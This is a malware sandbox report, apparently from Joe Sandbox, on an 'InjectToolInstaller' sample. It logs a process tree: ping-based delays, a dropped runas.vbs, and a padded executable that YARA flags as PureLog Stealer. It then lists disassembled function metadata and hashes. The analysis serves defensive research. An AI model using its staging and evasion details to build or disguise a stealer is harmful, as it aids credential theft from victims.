Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x7b0000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	11:04:35
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xa30000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:04:36
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x370000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	11:04:37
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x50000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:04:37
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs"
Imagebase:	0xcd0000
File size:	141'824 bytes
MD5 hash:	979D74799EA6C8B8167869A68DF5204A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	11:04:42
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\insta313tg.exe"
Imagebase:	0x60000
File size:	754'000'000 bytes
MD5 hash:	B1B1351B0ACA52254ECA958402C093F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000002A.00000002.470797690.0000000003842000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000002A.00000002.472107089.00000000057D0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000002A.00000002.470471234.000000000254E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000002A.00000002.471803561.0000000005120000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:04:38
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xe60000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	11:04:39
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xc0000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	11:04:40
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x690000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	11:04:41
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x4e0000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	11:04:42
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xd70000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	11:04:47
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\insta313tg.exe"
Imagebase:	0x60000
File size:	754'000'000 bytes
MD5 hash:	B1B1351B0ACA52254ECA958402C093F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	11:04:44
Start date:	29/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0xe90000
File size:	15'360 bytes
MD5 hash:	6242E3D67787CCBF4E06AD2982853144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.1%
Total number of Nodes:	1345
Total number of Limit Nodes:	27

Executed Functions

Function 013BEC4C Relevance: 58.5, APIs: 11, Strings: 22, Instructions: 786
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 013BEC56
GetVersionExA.KERNEL32 ref: 013BEC74
GetCommandLineW.KERNEL32 ref: 013BECC8
MessageBoxW.USER32 ref: 013BF179
MessageBoxW.USER32 ref: 013BF1FB

Part of subcall function 013A97F1: __EH_prolog3.LIBCMT ref: 013A97F8

MessageBoxW.USER32 ref: 013BF563

Part of subcall function 013BCD61: MessageBoxW.USER32 ref: 013BCD71

Strings

ExecuteFile, xrefs: 013BF2E6
ExtractPathText, xrefs: 013BEF46
;!@InstallEnd@!, xrefs: 013BED8B
Can't load config info, xrefs: 013BEDB0
setup.exe, xrefs: 013BF6D4
<, xrefs: 013BF5F9
Title, xrefs: 013BEE53
RunProgram, xrefs: 013BF298
ExecuteParameters, xrefs: 013BF334
InstallPath, xrefs: 013BF021
Config failed, xrefs: 013BEE42
%%S, xrefs: 013BF059, 013BF064, 013BF0EE
Can not find setup.exe, xrefs: 013BF6FF
Can not open file, xrefs: 013BF68D
D, xrefs: 013BF7DE
Can not create temp folder archive, xrefs: 013BF40C
%%T\, xrefs: 013BF72E
%%T, xrefs: 013BF781
Can not load codecs, xrefs: 013BF46F
;!@Install@!UTF-8!, xrefs: 013BED90
, xrefs: 013BF67B
Directory, xrefs: 013BEFCB

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Message$CommandH_prolog3H_prolog3_LineVersion
String ID: $%%S$%%T$%%T\$;!@Install@!UTF-8!$;!@InstallEnd@!$<$Can not create temp folder archive$Can not find setup.exe$Can not load codecs$Can not open file$Can't load config info$Config failed$D$Directory$ExecuteFile$ExecuteParameters$ExtractPathText$InstallPath$RunProgram$Title$setup.exe
API String ID: 605545782-301301035
Opcode ID: 05070d72b95c6b414edeab31e618d0931e51c65cd6f442377aa3599c84cc20cc
Instruction ID: 1cc630df5b9b73882c5989739f6abb735869a8f774d51b49a43da97dc893fd2f
Opcode Fuzzy Hash: 05070d72b95c6b414edeab31e618d0931e51c65cd6f442377aa3599c84cc20cc
Instruction Fuzzy Hash: 7B723E7190022A9ADF25EB68DC95FDDBB7DAF25308F4411EAD209B2461EB305F88CF51

Uniqueness

Uniqueness Score: -1.00%

Function 013CF82F Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,013CF805,00000003,0140DBE8,0000000C,013CF996,00000003,00000002,00000000,?,013D1B85,00000003), ref: 013CF850
TerminateProcess.KERNEL32(00000000,?,013CF805,00000003,0140DBE8,0000000C,013CF996,00000003,00000002,00000000,?,013D1B85,00000003), ref: 013CF857
ExitProcess.KERNEL32 ref: 013CF869

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a909ec05f7c98d593c583215c3e18139740c26300e02bcbd3bcee38b6d1c1c47
Instruction ID: 792e43f094ccceaf2ca2e84128c9b3874adbc35627795fc78847a04e3cf02819
Opcode Fuzzy Hash: a909ec05f7c98d593c583215c3e18139740c26300e02bcbd3bcee38b6d1c1c47
Instruction Fuzzy Hash: 09E0B63A000619ABDF217F58D908E9A3F6EEF51799F40002CFD058A526CB75ED82CB40

Uniqueness

Uniqueness Score: -1.00%

Function 013BBBFC Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 385COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013BBC03

Strings

Split, xrefs: 013BBD5C

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID: Split
API String ID: 431132790-1882502421
Opcode ID: b6d08010fb3cc0a9b9bd7b2929f3642b4b1bcd092ecd3d4686f13db415240934
Instruction ID: 62b342caa83d9a3b21c1cedf126ebe95cb0708dd0e0835b472b5b4ed4ff70f1f
Opcode Fuzzy Hash: b6d08010fb3cc0a9b9bd7b2929f3642b4b1bcd092ecd3d4686f13db415240934
Instruction Fuzzy Hash: 47F15B70A0020ADFDB25DFA8C8D4BEEBBB4BF09308F14406DEA45AB655EB75D944CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013AABAF Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

Part of subcall function 013AA5CD: FindClose.KERNELBASE(000000FF,000000FF,013AABD2,?,?,00000000), ref: 013AA5D7

FindFirstFileA.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 013AABF9

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 9d5e46d6379e663f36e786052db898fb34fbcb118c68fb38a1d73b637a95a41e
Instruction ID: ed8c8c4d477f6cfdd12f927a74fba4399cde40a9f26ee9d5e54727bf7984e546
Opcode Fuzzy Hash: 9d5e46d6379e663f36e786052db898fb34fbcb118c68fb38a1d73b637a95a41e
Instruction Fuzzy Hash: 0B11CA7390010DABCF30AFB8DC889EAB7BCEF19314F500A9EE95593150DB359A48DB50

Uniqueness

Uniqueness Score: -1.00%

Function 013B176C Relevance: 2.0, APIs: 1, Instructions: 521COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013B1776

Part of subcall function 013B2508: __EH_prolog3.LIBCMT ref: 013B250F

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: bc29578aaeab33eb990ae43aa88e3bbbaead1dfcb98411fc13f5871478560e95
Instruction ID: 442d841f403535c7592b071036186d5a92e958b1bf828ef7c775a6a0b40c51e2
Opcode Fuzzy Hash: bc29578aaeab33eb990ae43aa88e3bbbaead1dfcb98411fc13f5871478560e95
Instruction Fuzzy Hash: 21225171E002199FCF54DFA8D8D0AEDBBB5BF59308F144069D649EBA41FB30AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013C0E21 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 013C0E26

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: abcefd5a12e265d33c391ab50fb074817febddc407844565235e080f398b93e3
Instruction ID: f5734fa8474ee2b49ad62f28180593f335eac30d04ab0397bb5fe39ff83efe86
Opcode Fuzzy Hash: abcefd5a12e265d33c391ab50fb074817febddc407844565235e080f398b93e3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 013A9B5A Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 126
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 013A9B7F
GetTickCount.KERNEL32 ref: 013A9B8A
GetCurrentProcessId.KERNEL32 ref: 013A9B97
GetTickCount.KERNEL32(?), ref: 013A9C14
SetLastError.KERNEL32(000000B7,?,?), ref: 013A9C50
GetLastError.KERNEL32(?,?,?), ref: 013A9C74

Part of subcall function 013A9A83: CreateDirectoryA.KERNEL32(00000000,00000000,?,?,?), ref: 013A9AA3

Strings

.tmp, xrefs: 013A9C34

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CountCurrentErrorLastTick$CreateDirectoryProcessThread
String ID: .tmp
API String ID: 3074393274-2986845003
Opcode ID: e35eb3739af110696a008d0f38a4c5d3b1f33db3eed53a86cfc10ea69e684626
Instruction ID: 8783c0bf5c8c942706f6e5ba22b0bb7f6cbea7d1856026e2d461824cfbed4aa3
Opcode Fuzzy Hash: e35eb3739af110696a008d0f38a4c5d3b1f33db3eed53a86cfc10ea69e684626
Instruction Fuzzy Hash: B841C332A102189BDF15DFA8D88479DBBFAEF99718F85442AEA06F7240DB359801CB51

Uniqueness

Uniqueness Score: -1.00%

Function 013C05BB Relevance: 10.6, APIs: 7, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___security_init_cookie.LIBCMT ref: 013C05BB
___scrt_fastfail.LIBCMT ref: 013C05DF

Part of subcall function 013C0C8C: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013C0C99
Part of subcall function 013C0C8C: IsDebuggerPresent.KERNEL32(?,?,?,00000017,?), ref: 013C0D61
Part of subcall function 013C0C8C: SetUnhandledExceptionFilter.KERNEL32 ref: 013C0D80
Part of subcall function 013C0C8C: UnhandledExceptionFilter.KERNEL32(?), ref: 013C0D8A

___scrt_release_startup_lock.LIBCMT ref: 013C0656
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 013C066A
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 013C068F
___scrt_get_show_window_mode.LIBCMT ref: 013C06A1
___scrt_uninitialize_crt.LIBCMT ref: 013C06D8

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled___scrt_is_nonwritable_in_current_image$DebuggerFeatureProcessor___scrt_fastfail___scrt_get_show_window_mode___scrt_release_startup_lock___scrt_uninitialize_crt___security_init_cookie
String ID:
API String ID: 1925394571-0
Opcode ID: a618db9b079342284f1e03a90eb7a34bfd69b7246ee1b004a8b45fa2fd6b31d4
Instruction ID: 14c1af55a3af263359e7eee1e201a64db01feb0c87fde821a24b30f7b6c9674d
Opcode Fuzzy Hash: a618db9b079342284f1e03a90eb7a34bfd69b7246ee1b004a8b45fa2fd6b31d4
Instruction Fuzzy Hash: EB21273A6453C3DAEA2DBB7CA941AAD26598FB1E2CF20011EF6807B181DE604E008765

Uniqueness

Uniqueness Score: -1.00%

Function 013F1A3B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,013DDDE6,013DDDE6,?,?,?,013F1C8C,00000001,00000001,C3E85006), ref: 013F1A95
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,013F1C8C,00000001,00000001,C3E85006,?,?,?), ref: 013F1B1B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,C3E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 013F1C15
__freea.LIBCMT ref: 013F1C22

Part of subcall function 013D1C49: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,013A13B5,00000000,?,013A12EE,?), ref: 013D1C7B

__freea.LIBCMT ref: 013F1C2B
__freea.LIBCMT ref: 013F1C50

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: a0415136ef98fe248c8fadf81b3754fa2a3088b33943d02a06479f0de1d81f8c
Instruction ID: 998f14f67c1ae70778480ca2f05320f1bcb66f45d6db20bcdf46041dcc349912
Opcode Fuzzy Hash: a0415136ef98fe248c8fadf81b3754fa2a3088b33943d02a06479f0de1d81f8c
Instruction Fuzzy Hash: C251E17260021BEBEF258E68EC41FBBBBA9EB54658F14462DFE05D6190EB34DC40C650

Uniqueness

Uniqueness Score: -1.00%

Function 013AA7BA Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 302
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 013AA7C1
SetLastError.KERNEL32(00000002,?,?,?,?,?,00000000,?,0000004C,013AA7A5,?,00000038,013A9C47,?,?), ref: 013AA952

Part of subcall function 013AADE3: GetFileAttributesA.KERNEL32(00000000,013A9CCE,?,?,013A9CCE,?), ref: 013AAE01

Strings

:$DATA, xrefs: 013AA83F
:$DATA, xrefs: 013AA82A

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AttributesErrorFileH_prolog3Last
String ID: :$DATA$:$DATA
API String ID: 3516327741-3832907965
Opcode ID: 94ab18efb623fbd0c003ab296407bd04e90afb618de87f8361f78459b31ffe80
Instruction ID: cf0b1cdb9feed6b865f2eff7d41dec332aacf3c38bd32c66bb863e8d125d2754
Opcode Fuzzy Hash: 94ab18efb623fbd0c003ab296407bd04e90afb618de87f8361f78459b31ffe80
Instruction Fuzzy Hash: D3B1D43290420ADFDF25EFACC9509EDBFB9EF25318F90452DE546A71A0EB309A45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013BC260 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 233
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 013BC267
GetLastError.KERNEL32(?,00000040,013BB7A8,?), ref: 013BC4E5

Strings

.001, xrefs: 013BC3E0
Split, xrefs: 013BC36B

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorH_prolog3Last
String ID: .001$Split
API String ID: 685212868-1037919092
Opcode ID: c95fa0942f3698529569219c4fda9890a0321e8fc1cb3c3a746904b4c25f6999
Instruction ID: 4fd461df87f4a1b298cd7e5258dccc2646952e057d85e77fb48d9db73b8cb5b6
Opcode Fuzzy Hash: c95fa0942f3698529569219c4fda9890a0321e8fc1cb3c3a746904b4c25f6999
Instruction Fuzzy Hash: B7916E70A0020ADFDF11DFA8C5C0AEDBBB5BF58318F145069EA45BB791EB359A05CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013E6130 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,00000000,00000000,?,013E60D7,?,00000000,00000000,00000000,?,013E646E,00000006,FlsSetValue), ref: 013E6162
GetLastError.KERNEL32(?,013E60D7,?,00000000,00000000,00000000,?,013E646E,00000006,FlsSetValue,014023B4,014023BC,00000000,00000364,?,013E5A9D), ref: 013E616E
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,013E60D7,?,00000000,00000000,00000000,?,013E646E,00000006,FlsSetValue,014023B4,014023BC,00000000), ref: 013E617C

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: ad5569afb578d61c4cfb4b23521383303f9522cab20968f4e4c9cbf8f9b68f78
Instruction ID: 14238989e233303244170d5eb544133cb2b1918e2ef7f31e7b007573ddfa50bb
Opcode Fuzzy Hash: ad5569afb578d61c4cfb4b23521383303f9522cab20968f4e4c9cbf8f9b68f78
Instruction Fuzzy Hash: A401D8B66513366BDB334A68AC49E5677DC9F147B5F100124F906D7282D720D400C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 013BD4C5 Relevance: 6.0, APIs: 4, Instructions: 38
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 013A4A66: SetEvent.KERNEL32(?), ref: 013A4A6E

GetDlgItem.USER32(?,00000064), ref: 013BD4E6
LoadIconA.USER32 ref: 013BD500
SendMessageA.USER32 ref: 013BD511
SetTimer.USER32(?,00000003,00000064,00000000), ref: 013BD520

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: EventIconItemLoadMessageSendTimer
String ID:
API String ID: 2758541657-0
Opcode ID: 8cbc3cde7cce1690081eaa730f5a92ed4a0cbf8b70c23f2b75872089f34c415e
Instruction ID: f4db0243437dbd5d9de67d1d0bd671884e0ae304149f3bc4bcac49535055a4ec
Opcode Fuzzy Hash: 8cbc3cde7cce1690081eaa730f5a92ed4a0cbf8b70c23f2b75872089f34c415e
Instruction Fuzzy Hash: EF017C35100B01AFD7319B68DD49B16BBE9FB04724F008B1DF6AA899F0C771A841CB10

Uniqueness

